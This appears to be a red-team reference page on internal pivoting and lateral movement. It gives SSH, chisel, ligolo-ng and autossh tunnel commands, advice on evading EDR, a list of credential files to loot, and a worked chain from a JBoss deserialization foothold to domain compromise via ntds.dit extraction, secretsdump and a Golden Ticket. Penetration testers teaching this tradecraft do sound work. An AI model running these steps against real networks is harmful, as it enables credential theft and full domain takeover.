Internal Pivoting & Lateral Movement.
Tunnel topologies, port-forwarding patterns, the handoff from web compromise to internal foothold, and a worked JBoss-to-domain case.
Tunnel topologies — pick the right one
- SOCKS over SSH.
ssh -D 1080 user@foothold+proxychains. Default choice when the foothold has SSH and the network allows outbound 22 to your VPS. Latency is fine, throughput is fine, single TCP session. - chisel. When SSH isn't reachable:
chisel server -p 8080 --reverseon your VPS,chisel client VPS:8080 R:1080:sockson the foothold. HTTP/WebSocket transport survives most egress filtering. - ligolo-ng. Best for double-pivot and TCP/UDP both. Creates a TUN interface on the operator side — you talk to
10.x.x.xas if you were on that segment, no proxychains needed. - Reverse port forward through SSH.
ssh -R 8443:internal-target:443 user@footholdwhen you need a single TCP service exposed back to your side. Smaller blast radius than a full SOCKS pivot.
Keeping a shell alive on a flaky link
- TCP keepalives.
ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3. Detects dead links in ~3 minutes instead of waiting for the kernel. - tmux on the foothold. Reattach after disconnect:
tmux new -s opfirst session,tmux attach -t opafter reconnect. Same applies inside Meterpreter viascreen. - mosh as a fallback. UDP-based; survives IP changes (notebook on flaky Wi-Fi → tethered → back). UDP often blocked egress, so plan for it not always working.
- autossh for unattended links.
autossh -M 0 -f -N -R 8443:internal:443 user@footholdwith keepalives — reconnects within seconds of link recovery.
Web → internal handoff
- Confirm the web-app can reach internal. Try
http://internal-hostfrom within the web context. If yes → SSRF-style pivoting without needing shell. - Get a foothold shell. Webshell, deserialization payload, RCE chain. Prefer in-memory over disk; prefer over named-pipe over socket if EDR is present.
- Establish persistent egress. chisel reverse-mode over 443 (looks like HTTPS), or DNS-over-HTTPS for the strictest egress filtering.
- Switch to pivot tunnel immediately. Drop the webshell as primary; switch to the tunnel for further work. Webshells are noisy; tunnels are quiet.
- Loot the foothold once.
/etc/passwd,~/.ssh/,~/.aws/,~/.kube/, environment variables, recent shell history, cron, systemd timers, .bash_history. Then move.
Worked chain — JBoss to DA
- Foothold. JBoss JMX-Console deserialization (ysoserial CommonsCollections5) → shell as
jbosson app01. - Local loot.
/opt/jboss/standalone/configuration/has DB creds in plaintext XML./etc/sssd/reveals domain join. - SMB enumeration.
impacket-smbclientwith sssd-cached creds → readable share on fileserver01 contains a PowerShell script. - Credential in the script. Hardcoded
$cred = New-Object PSCredential("svc_backup", $pw). svc_backup is in Backup Operators. - Backup Operators → DC. Backup Operators can read
ntds.ditvia shadow copy.vssadmin create shadowon DC via WinRM,copy,secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL. - Krbtgt hash → Golden Ticket. Domain compromise complete. Pause and notify white cell.
Rule of thumbTwo tunnel layers maximum unless you really need three. Each layer roughly doubles latency and triples the surface for an operator mistake. If you're chaining four hops, stop and find a better foothold first.
Related notes in this domain
- Featured Comprehensive Pentest Reference
- Featured Pentest Methodology — Canonical Reference
- Featured Advanced Penetration Testing & Red Team
- Featured Recon & Discovery
- Featured Web Server — Attack & Defense
- Featured Active Directory Pentest
- Reference Recon Tooling — Operator Reference
- Reference Operator Toolkits — Catalog & Reference
- Reference Automation vs. Manual Testing
- Background Social Engineering & Phishing
- Background Pentester Foundations & CTF Practice
From reference to evidence